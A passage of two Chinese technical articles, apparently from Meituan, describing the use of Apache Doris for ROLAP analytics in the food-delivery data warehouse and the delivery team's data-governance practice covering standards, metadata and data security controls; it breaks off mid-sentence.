外卖运营业务特点

美团的使命是“帮大家吃得更好，生活更好”。外卖业务为大家提供送餐服务，连接

商家与用户，这是一个劳动密集型的业务，外卖业务有上万人的运营团队来服务全国

几百万的商家，并以“商圈”为单元，服务于“商圈”内的商家。“商圈”是一个组
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织机构维度中的最小层级，源于外卖组织的特点，“商圈”及其上层组织机构是一个

变化维度，当“商圈”边界发生变化时，就导致在往常日增量的业务生产方式中，历

史数据的回溯失去了参考意义。在所有展现组织机构数据的业务场景中，组织机构的

变化是一个绕不开的技术问题。此外，商家品类、类型等其它维度也存在变化维的问

题。如下图所示：

数据生产面临的挑战

数据爆炸，每日使用最新维度对历史数据进行回溯计算。在Kylin 的 MOLAP模式下

存在如下问题：

	● 历史数据每日刷新，失去了增量的意义。

	● 每日回溯历史数据量大，10亿 +的历史数据回溯。

	● 数据计算耗时 3小时 +，存储 1TB+，消耗大量计算存储资源，同时严重影响

SLA的稳定性。

	● 预计算的大量历史数据实际使用率低下，实际工作中对历史的回溯80%集中在

近1个月左右，但为了应对所有需求场景，业务要求计算近半年以上的历史。

	● 不支持明细数据的查询。

解决方案：引入 MPP 引擎，数据现用现算

既然变化维的历史数据预计算成本巨大，最好的办法就是现用现算，但现用现算

需要强大的并行计算能力。OLAP 的实现有MOLAP、ROLAP、HOLAP 三种形

式，MOLAP 以 Cube 为表现形式，但计算与管理成本较高。ROLAP 需要强大的

关系型DB引擎支撑。长期以来，由于传统关系型DBMS的数据处理能力有限，所
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以 ROLAP 模式受到很大的局限性。随着分布式、并行化技术成熟应用，MPP引

擎逐渐表现出强大的高吞吐、低时延计算能力，号称“亿级秒开”的引擎不在少数，

ROLAP模式可以得到更好的延伸。单从业务实际应用考虑，性能在千万量级关联查

询现场计算秒开的情况下，已经可以覆盖到很多应用场景，具备应用的可能性。例

如：日数据量的ROLAP现场计算，周、月趋势的计算，以及明细数据的浏览都可以

较好的应对。

下图是MOLAP模式与ROLAP模式下应用方案的比较：

MOLAP 模式的劣势

1.	应用层模型复杂，根据业务需要以及 Kylin 生产需要，还要做较多模型预处

理。这样在不同的业务场景中，模型的利用率也比较低。

2.	Kylin 配置过程繁琐，需要配置模型设计，并配合适当的“剪枝”策略，以实

现计算成本与查询效率的平衡。

3.	由于MOLAP不支持明细数据的查询，在“汇总 +明细”的应用场景中，明

细数据需要同步到DBMS引擎来响应交互，增加了生产的运维成本。

4.	较多的预处理伴随着较高的生产成本。
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ROLAP 模式的优势

1.	应用层模型设计简化，将数据固定在一个稳定的数据粒度即可。比如商家粒

度的星形模型，同时复用率也比较高。

2.	App 层的业务表达可以通过视图进行封装，减少了数据冗余，同时提高了应

用的灵活性，降低了运维成本。

3.	同时支持“汇总 +明细”。

4.	模型轻量标准化，极大的降低了生产成本。

综上所述，在变化维、非预设维、细粒度统计的应用场景下，使用MPP引擎驱动的

ROLAP 模式，可以简化模型设计，减少预计算的代价，并通过强大的实时计算能

力，可以支撑良好的实时交互体验。

双引擎下的应用场景适配问题

架构上通过MOLAP+ROLAP双引擎模式来适配不同应用场景，如下图所示：

技术权衡

MOLAP：通过预计算，提供稳定的切片数据，实现多次查询一次计算，减轻了查询

时的计算压力，保证了查询的稳定性，是“空间换时间”的最佳路径。实现了基于

Bitmap 的去重算法，支持在不同维度下去重指标的实时统计，效率较高。	ROLAP：
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基于实时的大规模并行计算，对集群的要求较高。MPP引擎的核心是通过将数据分

散，以实现CPU、IO、内存资源的分布，来提升并行计算能力。在当前数据存储以

磁盘为主的情况下，数据Scan 需要的较大的磁盘 IO，以及并行导致的高CPU，仍

然是资源的短板。因此，高频的大规模汇总统计，并发能力将面临较大挑战，这取决

于集群硬件方面的并行计算能力。传统去重算法需要大量计算资源，实时的大规模去

重指标对CPU、内存都是一个巨大挑战。目前Doris 最新版本已经支持Bitmap 算

法，配合预计算可以很好地解决去重应用场景。

业务模型适配

MOLAP：	当业务分析维度相对固化，并在可以使用历史状态时，按照时间进行增量

生产，加工成本呈线性增长状态，数据加工到更粗的粒度（如组织单元），减少结果数

据量，提高交互效率。如上图所示，由A模型预计算到B模型，使用Kylin 是一个不

错的选择。

ROLAP：	当业务分析维度灵活多变或者特定到最新的状态时（如上图A模型中，始

终使用最新的商家组织归属查看历史），预计算回溯历史数据成本巨大。在这种场景

下，将数据稳定在商家的粒度，通过现场计算进行历史数据的回溯分析，实现现用

现算，可以节省掉预计算的巨大成本，并带来较大的应用灵活性。这种情况下适合

MPP引擎支撑下的ROLAP生产模式。
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MPP 引擎的选型

目前开源的比较受关注的OLAP 引擎很多，比如Greenplum、Apache	Impala、

Presto、Doris、ClickHouse、Druid、TiDB 等等，但缺乏实践案例的介绍，所以

我们也没有太多的经验可以借鉴。于是，我们就结合自身业务的需求，从引擎建设成

本出发，并立足于公司技术生态融合、集成、易用性等维度进行综合考虑，作为选型

依据，最终我们平台部门选择了 2018 年刚进入Apache 社区的Doris。

Doris 简介及特点

Doris 是基于 MPP 架构的 OLAP 引擎，主要整合了 Google	Mesa（数据模型）、

Apache	Impala（MPP	Query	Engine）和 Apache	ORCFile	（存储格式，编码和压

缩）的技术。

Doris 的系统架构如下，主要分为FE和 BE两个组件，FE主要负责查询的解析、编

译、优化、调度和元数据管理；BE主要负责查询的执行和数据存储。关于Doris 的

更多技术细节，可参考其官方文档。

http://doris.apache.org/documentation/cn/internal/metadata-design.html
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整体架构

Doris 的特点：

	● 同时支持高并发点查询和高吞吐的Ad-hoc 查询。

	● 同时支持离线批量导入和实时数据导入。

	● 同时支持明细和聚合查询。

	● 兼容MySQL协议和标准SQL。

	● 支持 Rollup	Table 和 Rollup	Table 的智能查询路由。

	● 支持较好的多表 Join 策略和灵活的表达式查询。

	● 支持 Schema在线变更。

	● 支持 Range 和 Hash 二级分区。
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Doris 在外卖数仓中的应用效率

上图是我们在一个分析项目改造中的评估项目收益，整体在查询效率不变的情况下，

生产耗能及存储成本都有较大收益。

以 20台 BE+3FE的 Doris 环境，效率、性能表现情况如下：

	● 支撑数据分析产品数十个以上，整体响应达到ms级。

	● 支持百万、千万级大表关联查询，同时进行维表关联的雪花模型，经过

Colocate	Join 特性优化，可以实现秒级响应。

	● 日级别，基于商家明细现场计算，同时满足汇总及下钻明细查询，查询时效基

本都可以控制在秒级。

	● 7 日趋势分析，2~3秒。由于数据量较大，根据集群规模不同查询性能有所区

别，但数据量较大时，调动的集群资源较多，因此MPP的并发性能受限于集群

的性能。一般原则是并发较高的业务，需要严格控制查询时效（基本在毫秒级），

对于并发不高的业务，允许进行较大的查询，但也要考虑集群的承受能力。

	● 通过一年来的应用以及Doris 的不断改进升级，Doris 的高可靠、高可用、高

可扩展性也得到进一步验证，服务稳定可靠。

准实时场景下的应用

离线业务分析大多基于T+1的离线数据，但在营销活动场景下，外卖团队往往需要当

日的实时数据进行业务变化的监控与分析，通常情况下会采用实时流计算来实现。
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外卖实时业务监控有如下特点：

	● 避免分钟级的生产波动影响，业务上10、15分钟准实时数据可以满足分析需要。

	● 实时数据需要与离线数据进行日环比与周同比的比对。

	● 订单业务需要事件时间，体验业务需要生产时间，业务对齐逻辑复杂。

	● 不同业务线需求差异大，指标需要良好扩展性。

由于业务上的复杂性，实时流计算中，需要考虑诸多业务口径的对齐，业务ER模型

在合流处理中开发成本较高，资源占用较大，通过设计基于Doris 的准实时生产数

仓，可以灵活地实现业务微批处理，且开发生产成本都比较低。以下为基于Doris 的

准实时数仓架构设计，是典型的实时 Lambda 生产架构：

实现准实时计算方案，需要以下能力的支撑：

实时的写入能力：目前支持Kafka	To	Doris 秒级延迟。在可靠性、稳定性建设方面

仍需进一步提升。	引擎建设：短平快的计算 +高效的存储性能。目前Doris 引擎性

能仍有进步空间，2020 年将有较大改进提升，随着后续 Page	Cache，内存表等

能力的上线，IO将不再拖后腿，并发能力将有较大提升。	可靠的调度能力：提供 5、

10、15、30 分钟的调度保障能力。	Lambda 架构简化：实时数据与离线数据更好

的在Doris 中进行融合，灵活支撑应用。	高效的 OLAP 交互：支撑业务的灵活查询

访问，业务层通过视图进行逻辑封装直接复用汇总层多维模型，提高了开发效率，减

少了运维成本。
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相比Storm、Flink 中的窗口计算，准实时DB微批的优势：

Doris 引擎在美团的重要改进

Join 谓词下推的传递性优化

如上图所示，对于下面的	SQL：

select * from t1 join t2 on t1.id = t2.id where t1.id = 1

Doris 开源版本默认会对 t2 表进行全表Scan，这样会导致上面的查询超时，进而导

致外卖业务在Doris 上的第一批应用无法上线。

于是我们在 Doris 中实现了第一个优化：Join 谓词下推的传递性优化（MySQL 和

TiDB中称之为Constant	Propagation）。Join 谓词下推的传递性优化是指：基于谓
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词 t1.id	=	t2.id 和 t1.id	=	1,	我们可以推断出新的谓词 t2.id	=	1，并将谓词 t2.id	=	1

下推到 t2 的 Scan 节点。	这样假如 t2 表有数百个分区的话，查询性能就会有数十倍

甚至上百倍的提升，因为 t2 表参与Scan 和 Join 的数据量会显著减少。

查询执行多实例并发优化

如上图所示，Doris 默认在每个节点上为每个算子只会生成 1个执行实例。这样的

话，如果数据量很大，每个执行实例的算子就需要处理大量的数据，而且无法充分利

用集群的CPU、IO、内存等资源。

一个比较容易想到的优化手段是，我们可以在每个节点上为每个算子生成多个执行实

例。这样每个算子只需要处理少量数据，而且多个执行实例可以并行执行。

下图是并发度设置为 5的优化效果，可以看到对于多种类型的查询，会有 3到 5倍的

查询性能提升：
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Colocate Join

Colocate	Join（Local	Join）是和 Shuffle	Join、Broadcast	Join 相对的概念，即将

两表的数据提前按照 Join	Key	Shard，这样在 Join 执行时就没有数据网络传输的开

销，两表可以直接在本地进行 Join。

整个 Colocate Join 在 Doris 中实现的关键点如下：

	● 数据导入时保证数据本地性。

	● 查询调度时保证数据本地性。

	● 数据 Balance 后保证数据本地性。

	● 查询 Plan 的修改。

	● Colocate	Table 元数据的持久化和一致性。

	● Hash	Join 的粒度从Server 粒度变为Bucket 粒度。

	● Colocate	Join 的条件判定。

关于 Doris	Colocate	Join 的更多实现细节，可以参考《Apache	Doris	Colocate	

Join	原理与实践》。
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对于下面的SQL，Doris	Colocate	Join 和 Shuffle	Join 在不同数据量下的性能对比

如下：

select count(*) FROM A t1 INNER JOIN [shuffle] B t5    ON ((t1.dt = 
t5.dt) AND (t1.id = t5.id)) INNER JOIN [shuffle] C t6    ON ((t1.dt = 
t6.dt) AND (t1.id = t6.id)) where t1.dt in (xxx days);

Bitmap 精确去重

Doris 之前实现精确去重的方式是现场计算的，实现方法和 Spark、MapReduce

类似：

对于上图计算 PV的 SQL，Doris 在计算时，会按照下图的方式进行计算，先根据

page 列和 user_id 列 group	by，最后再Count：
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图中是 6行数据在 2个 BE节点上计算的示意图

显然，上面的计算方式，当数据量越来越大，到几十亿几百亿时，使用的 IO资源、

CPU资源、内存资源、网络资源会变得越来越多，查询也会变得越来越慢。

于是我们在Doris 中新增了一种Bitmap 聚合指标，数据导入时，相同维度列的数据

会使用Bitmap 聚合。有了Bitmap 后，Doris 中计算精确去重的方式如下：

可以看到，当使用 Bitmap 之后，之前的 PV计算过程会大幅简化，现场查询时的	

IO、CPU、内存，网络资源也会显著减少，并且不再会随着数据规模而线性增加。
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总结与思考

在外卖运营分析的业务实践中，由于业务的复杂及应用场景的不同，没有哪一种数据

生产方案能够解决所有业务问题。数据库引擎技术的发展，为我们提供更多手段提升

数据建设方案。实践证明，以Doris 引擎为驱动的ROLAP 模式可以较好地处理汇

总与明细、变化维的历史回溯、非预设维的灵活应用、准实时的批处理等场景。而以

Kylin 为基础的MOLAP模式在处理增量业务分析，固化维度场景，通过预计算以空

间换时间方面依然重要。

业务方面，通过外卖数仓Doris 的成功实践以及跨BG的交流，美团已经有更多的团

队了解并尝试使用Doris 方案。而且在平台同学的共同努力下，引擎性能还有较大提

升空间，相信以Doris 引擎为驱动的ROLAP模式会为美团的业务团队带来更大的收

益。从目前实践效果看，其完全有替代Kylin、Druid、ES等引擎的趋势。

目前，数据库技术进步飞速，近期柏睿数据发布全内存分布式数据库 RapidsDB	

v4.0 支持 TB级毫秒响应（处理千亿数据可实现毫秒级响应）。可以预见，数据库技

术的进步将大大改善数仓的分层管理与应用支撑效率，业务将变得“定义即可见”，

也将极大地提升数据的价值。

参考资料
Doris 文档和源码

Apache	Kylin	VS	Apache	Doris

作者简介
朱良，美团外卖数据仓库工程师。

凯森，美团大数据工程师，Apache	Kylin	Committer。

招聘信息
美团外卖数据智能组长期招聘数据仓库、数据挖掘、机器学习、计算机视觉、搜索推荐算法工

程师，坐标北京。欢迎感兴趣的同学发送阅历到：tech@metuan.com（邮件标题注明：外卖数

据智能组）

https://github.com/apache/incubator-doris
https://blog.bcmeng.com/post/apache-kylin-vs-baidu-palo.html
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美团配送数据治理实践

作者：王鹏　家豪

大数据时代的到来，让越来越多的企业看到了数据资产的价值。将数据视为企业的重

要资产，已经成为业界的一种共识，企业也在快速探索应用场景和商业模式，并开始

建设技术平台。

但这里要特别强调一下，如果在大数据“拼图”中遗忘了数据治理，可能再多的技术

投入也是一种徒劳。因为没有数据治理这一环节，其带来后果往往是：随处可见的数

据不统一，难以提升的数据质量，难以完成的模型梳理，难以保障的数据安全等等，

源源不断的基础性数据问题会进一步产生，进而导致数据建设难以真正发挥其商业

价值。

因此，消除数据的不一致性，建立规范的数据标准，提高数据治理能力，实现数据安

全共享，并能够将数据作为企业的宝贵资产应用于业务、管理、战略决策中，发挥数

据资产价值变得尤为迫切和重要，数据治理呼之欲出。本文将介绍美团配送技术团队

在数据治理方面的一些探索和实践，希望能够对大家有所启发和帮助。

1. 如何理解数据治理

数据治理，从严格的定义来讲是对组织的大数据管理并利用其进行评估、指导和监督

的体系框架。企业通过制定战略方针、建立组织架构、明确职责分工等，实现数据的

风险可控、安全合规、绩效提升和价值创造，并提供创新的大数据服务。从个人实践

的层面来讲，数据治理是对存量数据治理和增量数据管控的一个过程，对存量数据实

现由乱到治、建章立制，对增量数据实现严格把控、行不逾矩的约束。

2. 要达成的目标

数据治理本身并不是目的，它只是实现组织战略目标的一个手段而已。从组织职能和
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体量大小方面来看，不同类型组织的数据治理目标大不相同，而基于目前美团配送数

据团队所处的组织职能和发展阶段来说，我们希望通过数据治理解决数据生产、管理

和使用过程中遇到的问题，完善已有的生产管理流程规范，保障数据安全和数据一致

性，从而促进数据在组织内无障碍地进行共享。

3. 何时进行数据治理

找准数据治理的切入点，是关乎数据治理成败的关键。很多同学会问，如果将数仓建

设分为数仓雏形阶段、数仓迭代阶段和能力沉淀阶段，数据治理应该在哪个阶段切入

为宜呢？其实，我们不该把数据治理看作是一个阶段性的项目，它应该是一个贯彻数

据建设各阶段的长期工程，只是在不同阶段根据业务特点和技术特点其覆盖的范围和

关注的目标有所不同而已。

在数仓雏形阶段，也就是美团配送业务刚成立时，在该阶段中业务有两个特点：第

一，重规模、快扩张；第二，业务变化快，数据需求多。为了快速响应业务的需求，

并能够保障数据交付结果的准确性，我们主要进行技术规范和指标口径的治理，在规

范治理方面，通过制定一系列研发规范来保障研发质量，并在实际建模过程中不断迭

代和完善我们的研发质量。在指标治理方面，我们对存量指标口径进行梳理，从而确

保指标口径对外输出一致。

在数仓迭代阶段，我们希望通过架构治理改变前期开发的“烟囱式”模型，消除冗

余，提升数据一致性。并且随着数仓中管理的数据越多，数据安全和成本问题也变得

越发重要。所以在该阶段，我们在产研层面逐步开展架构治理、资源治理和安全治

理。在架构治理方面，我们明确了数仓中各层和各主题的职责和边界，构建一致的基

础数据核心模型，并制定一系列的指标定义规范来确保指标的清晰定义，并基于业务

迭代来不断完善和迭代相应的模型和规范。在资源治理方面，我们通过对不同层级的

数据采用不同生命周期管理策略，确保用最少的存储成本来满足最大的业务需求。在

安全治理方面，我们通过制定一系列的数据安全规范来确保数据的使用安全。

在能力沉淀阶段，我们基于前两个阶段所做的业务和技术沉淀，将前期一系列规范形
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成标准，从业务到产研，自上而下地推动数据治理，并通过建立相应的组织、流程和

制度来保障标准在该阶段的全面落地实施，并通过建设数据治理平台来辅助更高质量

地执行标准。

4. 如何开展数据治理

从大的阶段来看，数据治理主要分为存量数据“由乱到治”的阶段，以及增量数据严

格按照规章制度实施确保“行不逾矩”的运营阶段。在“由乱到治”的过程中，我们

需要沉淀出规章制度、标准规范，以及辅以规章制度标准规范实施的工具和组织。在

增量数据的运营阶段，我们主要靠对应的组织确保规章制度的落实，通过审计定期考

察实施效果，并在长期的运营中不断完善规章制度。在实现存量数据“由乱到治”的

阶段，我们主要采取了“两步走”策略，具体执行策略如下所示。

4.1 定标准，提质量

第一步，主要围绕着业务标准、技术标准、数据安全标准和资源管理标准进行展开。

通过业务标准，指导一线团队完成指标的规范定义，最终达成业务对指标认知一致

性这一目标；然后通过技术标准来指导研发同学规范建模，从技术层面解决模型扩展

性差、冗余多等问题并保障数据一致性；通过安全标准来指导我们加强数据的安全管

控，确保数据拿不走、走不脱，针对敏感数据，用户看不懂；通过资源管理标准的制

定，帮助我们在事前做好资源预算，在事中做好资源管理，在事后做好账单管理。

4.1.1 业务标准

业务标准主要是指标的管理和运营标准，我们主要解决三个问题：指标由谁来定义，

指标该如何定义，指标该如何运营。基于这三个问题，我们同时提出了三条原则：

	● 业务团队负责指标的定义。

	● 产研商分负责给出指标定义标准和辅助工具，辅助业务团队完成指标的规范定

义，达成指标认知一致性这一目标。

	● 最后由指标管理委员会负责指标的管理与运营，保障指标从创建、审核、上线
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以及到最后消亡的整个生命周期的运营。

为统一指标的定义，我们将指标分为原子指标、衍生指标和派生指标，原子指标通过

限定条件和时间的限定生成衍生指标。衍生指标间的“四则混合运算”构成了派生指

标。我们不但制定了指标的标准定义，还对其做了准确的资产归属，一个指标出自一

个具体的业务过程，一个业务过程归属于不同的数据域，多个数据域构成了美团配送

业务线下的分析场景，如下图所示：

指标定义标准

4.1.2 技术标准

这里所说的技术标准，主要是针对数据RD提出的建模标准和数据生产规范，通过建

模标准来明确数仓分层架构，并清晰定义每一层的边界与职责，采用维度建模的设计

理念。我们的整个仓库架构分为四层：操作层、基础事实层、中间层和应用层，并在

每一层同步制定对应的建模规范，如下图所示：
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数仓架构以及建模标准

除了建模标准外，我们还制定了涵盖从生产到运维环节的生产规范以保障模型的质

量，主要包括上线前的模型评审、生产过程中的完成元数据配置、DQC、SLA和生

命周期设置以及上线后的日常运维机制等等。尤其针对元数据管理和生命周期管理，

我们分别制定了仓库每一层元数据维护规范和生命周期管理规范，其中元数据管理规

范，是依据数仓各层级中各种类型表的建模标准来制定，需要做到规范命名，明确数

据归属，并打通业务元数据和技术元数据之间的关系。而生命周期管理规范，是依据

配送业务特点和数仓各层级现状来制定的，如下表所示：

仓库各层元数据管理标准
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仓库各层生命周期管理策略

4.1.3 安全标准

围绕数据安全标准，首先要有数据的分级、分类标准，确保数据在上线前有着准确的

密级。第二，针对数据使用方，要有明确的角色授权标准，通过分级分类和角色授

权，来保障重要数据拿不走。第三，针对敏感数据，要有隐私管理标准，保障敏感数

据的安全存储，即使未授权用户绕过权限管理拿到敏感数据，也要确保其看不懂。第

四，通过制定审计标准，为后续的审计提供审计依据，确保数据走不脱。

安全标准建设
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4.1.4 资源管理标准

在资源管理方面，配送技术工程部已经对资源管理涉及的内容进行了合理抽象和准确

定义，抽象出租户、资源和项目组等概念。不管是后续的资源预算还是资源管理，我

们都需要基于租户和项目组来进行运营，因此，对于业务团队而言，我们只需要将租

户和项目组特定职能划分清楚，然后根据不同的职能归属我们的资产，并分配生产该

资产所需要的资源。为了方便后续的运营，我们对每个租户和项目组分配确定了责任

人，由责任人对运营结果负责。

对业务部门来说，资源管理的关键是对数据资产做清晰的分类，基于数据的分类划分

不同的租户和项目组，将数据和租户、项目组实现一一映射。由于租户和项目组都有

特定的责任人对其负责，因此，我们通过这种映射关系，不仅实现了资产的隔离，还

实现了资产确权（项目组负责人同时对资产负责和运营）。我们整体将数据分为两大

类，一是原始数据，包括流到数据中心的数据和日志中心的数据，针对流入数据中心

的数据，根据其产生的方式不同，又进一步分为业务数据和流量数据。二是加工数

据，对应着数据团队的仓库建设和其他团队的集市建设。基于上述的描述，针对资源

管理，我们做了如下划分和确权：

资源划分与管理



数据　<　171

4.2 重实施，保落实

第二步，落实第一步的标准，完成数据治理第一阶段的目标，实现存量数据“由乱

到治”，并完成相应组织和工具的建设，为实现第二阶段“行不逾矩”这一目标提

供工具和组织能力。在此过程中，主要分成三个方面的治理工作：第一，架构模型

“由乱到治”的治理，消除模型冗余、跨层引用和链路过长等问题，在架构上保证模

型的稳定性和数据一致性；第二，元数据“由乱到治”的治理，实现指标的标准定

义、技术元数据的完整采集并建立指标与表、字段的映射关系，彻底解决指标认知

一致性，以及用户在使用数据过程中的“找数难”等问题；第三，围绕着隐私安全

和共享安全加强数据的安全管控来实现数据走不脱、拿不走，以及隐私数据看不懂

这一目标。

4.2.1 架构治理

总结起来，架构方面的治理主要是解决两个问题：第一，模型的灵活性，避免需求变

更和业务迭代对核心模型带来的冲击，让RD深陷无休止的需求迭代中；第二，数据

一致性，消除因模型冗余、跨层引用等问题带来的数据一致性问题。

模型灵活性

配送解决的是效率、成本和体验三者之间的平衡问题，即在满足一定用户体验的条件

下，如何提升骑手配送效率，服务更多的商家，以及如何管控骑手，降低配送成本。

抽象到数据层面，基本上反映为上游包裹来源的变化、配送对外提供服务的变化以及

对内业务管控的变化。为屏蔽业务迭代给核心模型带来的冲击，我们通过对外封装包

裹属性和对内封装运单属性，抽象出包裹来源、提供服务、业务架构等一致性维度，

任何业务迭代在数据层面只涉及维度的调整，大大降低了对核心模型冲击和“烟囱

式”数据建设问题（新来一个业务，就拉起一个分支进行建设）。
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包裹事实分配到运单明细构造单一运单模型

配送指标体系建设的一个重点就是要输出各组织层级的规模、体验和效率指标，实现

对运力的有效管控，运力所属组织的层级关系会随业务的迭代而不断变化。为了适应

这种变化，避免仅仅因增加维度带来中间层数据的重复建设，我们将组织层级维表由

固定层级建模方式调整为桥接表的方式来自适配组织层级变化，从而实现了中间层模

型可以自动适配组织层级的变化，能自动产生新维度的指标。如下图所示：

桥接表自适配组织层级灵活变动

在精细化分析的场景下，业务会有分时段、分距离段以及分价格段的数据分析诉求。

我们以分时段为例，有晚高峰、午高峰、下午茶等不同的分时段，不同的业务方对同

一个时段的定义口径不同，即不同的业务方会有不同的分时段策略。为解决该场景下

的分析诉求，我们在事实表中消除退化维度，将原来封装到事实表的时段逻辑迁移到

维度表中，并将事实表中的时间进行按特定的间隔进行刻度化作为维表中的主键，将
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该主键作为事实表的外键。这样，针对业务不同的时间策略需要，我们就可以在维表

中进行配置，避免了重复调整事实表和反复刷数的问题。即通过将时间、价格、距离

事实刻度化，实现灵活维度分析。如下图所示：

通过将时间刻度化，实现灵活分析

数据一致性

数据一致性得不到保障的一个根本原因，是在建模的过程中没有实现业务口径标签

化，并将业务口径下沉到主题层。很多同学在基于需求进行开发时，为实现方便，将

新指标口径通过“Case	When”的方式在应用层和中间层进行封装开发，主题层建

设不能随着业务的迭代不断完善，RD在开发过程中会直接引用仓库的快照表在中间

层或应用层完成需求开发。久而久之，就会造成数据复用性低下，相同指标的口径封

装在不同的应用表来满足不同报表的需求，但随着应用的增多，很难保障相同指标在

不用应用表封装逻辑的一致性，数据一致性难以得到保障，同时这种方式还带来两个

严重后果：第一，跨层引用增多，数据复用性低下，造成计算和存储成本的浪费；第

二，一旦指标口径发生变化，将是一个“灾难”，不仅影响评估是一个问题，而且涉

及该指标的应用层逻辑调整对RD来说也是一个巨大的挑战。
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治理前模型架构

因此，我们在“由乱到治”的治理过程中，以衍生事实的方式实现业务口径标签化，

将业务逻辑下沉到主题层，消除跨层引用和模型冗余等问题，从技术层面保障数据一

致性是该阶段架构治理的重点。我们在业务上，已经划分了严格的数据域和业务过

程，在主题建设层面，将业务划分的数据域作为我们的主题，并基于业务过程进行维

度建模，将属于该业务过程的指标口径封装在对应业务过程下的衍生事实中。

治理后模型架构

4.2.2 元数据治理

元数据治理主要解决三个问题：首先，通过建立相应的组织、流程和工具，推动业务

标准的落地实施，实现指标的规范定义，消除指标认知的歧义；其次，基于业务现状

和未来的演进方式，对业务模型进行抽象，制定清晰的主题、业务过程和分析方向，

构建完备的技术元数据，对物理模型进行准确完善的描述，并打通技术元数据与业务

元数据的关系，对物理模型进行完备的刻画；第三，通过元数据建设，为使用数据提
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效，解决“找数、理解数、评估”难题以及“取数、数据可视化”等难题。

首先，为保障业务标准的顺利实施，实现业务对指标认知一致性这一目标。我们协同

产研、商分、业务部门推动成立了度量衡委员会，并建立起指标运营机制，通过组织

保障来实现指标运营按照规范的标准和流程实施。如下图所示：

指标注册流程

其次，基于配送业务的现状和未来演进方式，我们进行了高度的业务抽象，完成了主

题、业务过程和分析方向等元数据内容的建设。配送即物流，通过线上系统和线下运

营，我们将用户的配送需求和美团的运力进行有效的资源配置，实现高服务体验、低

成本的配送服务。对外，我们将配送服务通过平台化的方式，提供给用户、商户和电

商平台，以满足不同用户在不同业务场景下的配送需求。	对内，我们通过不同的调度

模式将运单池中的运单调度给合适的骑手来完成履约，平衡规模、成本和体验之间的

关系。如下图所示：

配送业务模式抽象
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基于以上的业务模式，我们划分了运单主题（对履约数据域下的数据进行构建，支撑

规模和体验的数据分析需求）、调度主题（调度数据域下产生的数据，用于支撑调度策

略的分析）、结算、评价、投诉、取消主题（用于支撑体验、成本数据分析需求）和管

控主题（用于支撑运力奖惩、违规和招募分析需求）等各种主题，并在每个主题下划

分对应的业务过程，在应用层制定分析方向的分析标签，通过对元数据内容的建设完

成对业务的抽象，为物理模型的刻画准备了基础数据。

第三，元数据服务建设，我们打通了元数据从采集到构建再到应用的整条链路，为使

用数据提效，解决“找数、理解数、评估”难题以及“取数、数据可视化”难题。在

整个建设过程中，我们围绕着元数据采集、元模型构建、元数据服务以及最后的产品

应用进行展开，整体架构如下图所示：

元数据建设架构图
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元数据采集

元数据采集分为人工录入和自动抽取，通过人工录入的方式实现物理表的准确归属

（包括该表属于仓库哪一层、对应的主题、业务过程、星型模型关系等）以及指标的采

集，从而完成技术元数据和业务元数据的采集，通过自动抽取的方式完成生产元数据

的采集和使用元数据的采集，主要包括：物理模型的依赖关系、存储占用、热度、等

信息。

元模型构建

分为以物理表为核心的基础元模型构建，以及以血缘为中心的血缘元模型。基础元模

型构建以物理表为中心，打通其与技术元数据（主题、业务过程、Schema）的关系，

实现了物理表的清晰归属，打通其与生产元数据的关系，为其加上了物理表查询热

度、资源消耗、查询密级等生产使用信息，打通其与指标、维度和应用的对应关系，

为上层的取数应用建立了完备的元数据。血缘元模型以血缘为中心，不仅构建了从上

游业务表到仓库离线表的物理血缘，而且打通了仓库离线表到下游对应报表的血缘，

为后续的影响评估构建了完备的元数据基础。

元数据服务

统一元数据服务（OneService），主要提供两类元数据服务，提供查询表、指标、维

度基本信息的基础元数据服务以及查询表级血缘、字段级血缘的血缘服务。

元数据应用

主要孵化出了三个产品，以“找数、理解数、影响评估”为应用场景的数据地图

（Wherehows），以“取数、数据可视化”为应用场景的数据可视化（QuickSight），

以及以管理审计为目的的管理审计报表。

4.2.3 安全治理

安全治理主要加强了敏感数据的安全治理和数据共享环节的安全治理。通过对隐私数

据的安全治理，不仅要保证其在存储环节的不可见性，而且还要保证在其使用环节对
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用户进行双重鉴权，字段的密级鉴权和解密的密钥鉴权；通过对数据共享环节的安全

治理，我们在数据分级分类的基础上，使数据的权限控制从表级权限控制扩展到行级

权限控制。

敏感数据安全治理

敏感数据的安全治理，主要是解决敏感数据的存储安全和使用安全。离线场景下，敏

感数据存储安全要解决两大挑战：

	● 确保仓库侧处理方案既要屏蔽上游业务系统变动带来的影响，又要屏蔽自身策

略对下游BI 系统的影响。

	● 要避免敏感数据在整个加工链路中的扩散。

因此，为解决仓库处理方案与上游业务系统和下游BI 系统的解耦问题，我们在上游

敏感数据落到ODS环节，确保落到ODS层的敏感数据必须是明文，为保障其安全，

对ODS层的所有数据进行文件加密，但是在使用层面，对下游链路透明保障下游链

路的正常生产，并限制ODS层数据权限的开放。ODS层数据只用于安全生产，通

过此方案既屏蔽了上游处理方案对仓库的影响，又解决了敏感数据的安全问题。当数

据从离开仓库时，在传输环节对敏感数据进行可逆操作，将敏感数据以明文的形式推

入 BI 库，实现与下游 BI 系统的解耦。为解决敏感数据在整个生产链路的扩散，我

们在快照层对敏感数据进行脱敏处理，从快照层开始消除敏感数据，为保障敏感数据

的可逆性，将ODS层的敏感数据抽取到安全库中并进行加密存储，实现安全独立管

理。具体执行如下图所示：
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针对敏感数据的使用安全，我们通过对敏感字段的权限控制和对解密密钥的权限控

制，来实现敏感数据使用安全这一目标。针对单独抽取的敏感数据，我们除了针对敏

感数据设置其相应的密级确保敏感数据的权限管控外，还基于”暗语”的加密方式为

每个项目组分配一个相同的密钥，并且将该密钥存放到与Hadoop 集群集成的KMS

进行管理（确保支撑离线计算的高并发），确保解密时实现密钥的权限管控。

共享环节安全治理

针对共享环节的安全治理，我们主要是在数据生产环节完成数据的分级分类和数据确

权，在数据的使用环节完成数据的表级权限控制和行级权限控制。确保数据在使用环

节规范的审批流转，权限开放以后的安全审计，保证数据走不脱。

首先，我们在生产环节B3、B2、B1 层数据按照主题或实体C层数据按照应用方向

进行逻辑划分，并设定资源的密级和权限负责人。特别地为实现B3层数据在查询环

节可按照业务线进行权限管控这一目标（即行级鉴权），针对B3层数据，我们标记该
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数据需要在查询环节进行行级权限管控，标记使用行级鉴权所需的字段和该字段对应

的枚举值。

其次，在使用环节，我们按照资产密级和使用人角色完成数据的审批流转，实现数据

的安全共享。

第三，针对B3层数据，审计是否设置了行级权限管控。在数据开放时是否存在越权

使用的情况，以及针对即将离职员工加强数据的使用审计，保证数据走不脱。

在数据“由乱到治”的治理过程中，我们不仅实现了存量数据的“由乱到治”，并且

